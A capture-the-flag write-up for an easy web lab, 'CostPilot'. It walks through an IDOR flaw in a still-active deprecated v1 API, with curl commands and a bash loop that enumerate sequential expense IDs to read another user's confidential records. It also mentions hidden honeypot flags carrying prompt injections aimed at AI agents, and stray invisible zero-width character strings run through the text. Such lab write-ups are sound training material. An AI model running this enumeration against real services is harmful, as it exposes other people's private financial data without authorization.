← Back to Writeups
CUSTOMEasyWeb

Lab 108 — CostPilot — IDOR via Deprecated v1 API Endpoint

XESXOR9/10/20264 min read
#web#custom#easy#api_version_enumeration#deprecated_endpoint_discovery#honeypot_detection#idor_exploitation#response_header_analysis#sequential_id_enumeration#linux

Lab 108 — CostPilot — IDOR via Deprecated v1 API Endpoint

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: api_version_enumeration, deprecated_endpoint_discovery, honeypot_detection, idor_exploitation, response_header_analysis, sequential_id_enumeration

Summary

Task: expense management platform migrated from v1 (numeric IDs) to v2 (UUID-based) API, with deprecated v1 endpoints still partially active. Solution: discover API versioning via X-API-Version header, enumerate /api/v1/expenses/{id} with sequential numeric IDs to access another user's confidential expenses containing the flag.

Lab 108 — CostPilot — IDOR via Deprecated v1 API Endpoint — HackAdvisor

Description

CostPilot is a team expense management platform built by Pilot Financial, Inc. Employees submit expenses, attach receipts, and managers review spending reports across departments. The platform recently migrated from a v1 API to a new v2 API that uses UUID-based identifiers for all resources. The goal is to find and access confidential financial data that should be restricted to authorized personnel only. There may be remnants of past infrastructure that the development team forgot to clean up.

Credentials: user@test.com / password123 Hint: Pay attention to the HTTP response headers when the application makes API calls. There might be clues about the API versioning scheme used by CostPilot. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A team expense management platform that migrated from v1 API (numeric IDs) to v2 API (UUID-based IDs). The goal is to find confidential financial data by exploiting remnants of the deprecated v1 API that were not properly decommissioned.

Analysis

The application is a server-side rendered expense management platform with the following key observations:

  1. Changelog disclosure: The dashboard HTML contained a changelog section revealing the API migration history:

    • v2.4.1: CSV export, improved filtering
    • v2.0.0: "Migrated to v2 API with UUID-based resource identifiers for enhanced security. Deprecated legacy numeric ID endpoints."
    • v1.8.0: Added team spending overview ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  2. UUID-based v2 API: All expense links in the UI used UUID paths like /expenses/c8b3cab1-2bdc-4a48-9de3-e95054261a7f, making enumeration infeasible.

  3. API version header: The X-API-Version: v2 response header confirmed the versioning scheme and hinted at the existence of a v1 API.

  4. Incomplete deprecation: The v1 list endpoint (/api/v1/expenses) returned 404 (properly removed), but individual resource endpoints (/api/v1/expenses/{id}) were still active — a classic oversight during API migrations. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  5. No authorization on v1: The v1 endpoint performed no ownership check — any authenticated user could access any expense by numeric ID.

  6. Anti-bot honeypot: Every HTML page contained hidden decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection attempts targeting AI agents. These were correctly identified and ignored.

Solution

Step 1: Login and Session Setup

bash
# Login and capture session cookie
curl -s -c cookies.txt -X POST \
  'https://2b90b9da-e6c3-44ce-ae15-cc21229f26a4.labs.hackadvisor.io/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=user@test.com&password=password123' \
  -L -o /dev/null -w '%{http_code}'
# 200 — session cookie connect.sid saved

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Discover API Versioning

Inspected the dashboard HTML and found the changelog mentioning the v1-to-v2 migration. Confirmed by checking response headers:

bash
# Check v2 API — returns current user's expenses with UUID IDs
curl -s -b cookies.txt \
  'https://2b90b9da-e6c3-44ce-ae15-cc21229f26a4.labs.hackadvisor.io/api/v2/expenses' \
  -D - | head -20
# X-API-Version: v2
# Returns 7 expenses belonging to current user (Alex), all with UUID identifiers

Step 3: Probe Deprecated v1 API

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# v1 list endpoint — properly removed
curl -s -b cookies.txt \
  'https://.../api/v1/expenses'
# 404 Not Found

# v1 individual resource endpoint — STILL ACTIVE!
curl -s -b cookies.txt \
  'https://.../api/v1/expenses/1'
# 200 OK — returns expense belonging to Sarah Mitchell (different user!)

Step 4: Enumerate and Extract Flag

bash
#!/bin/bash
# Enumerate all expenses via deprecated v1 API
for id in $(seq 1 10); do
  echo "=== Expense ID: $id ==="
  curl -s -b cookies.txt \
    "https://2b90b9da-e6c3-44ce-ae15-cc21229f26a4.labs.hackadvisor.io/api/v1/expenses/$id"
  echo
done

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

All 10 expenses belonged to Sarah Mitchell (executive-level data). Expense ID 3 contained the flag in the notes field:

json
{
  "id": 3,
  "title": "Q4 Strategy Consultation",
  "amount": 2500,
  "category": "Consulting Services",
  "merchant": "Meridian Advisory Group",
  "notes": "Retainer payment for Q4 strategic advisory engagement. Internal ref: FLAG{REDACTED} — Filed under NDA #CP-2025-0847. Do not distribute outside executive leadership.",
  "submitted_by": "Sarah Mitchell"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍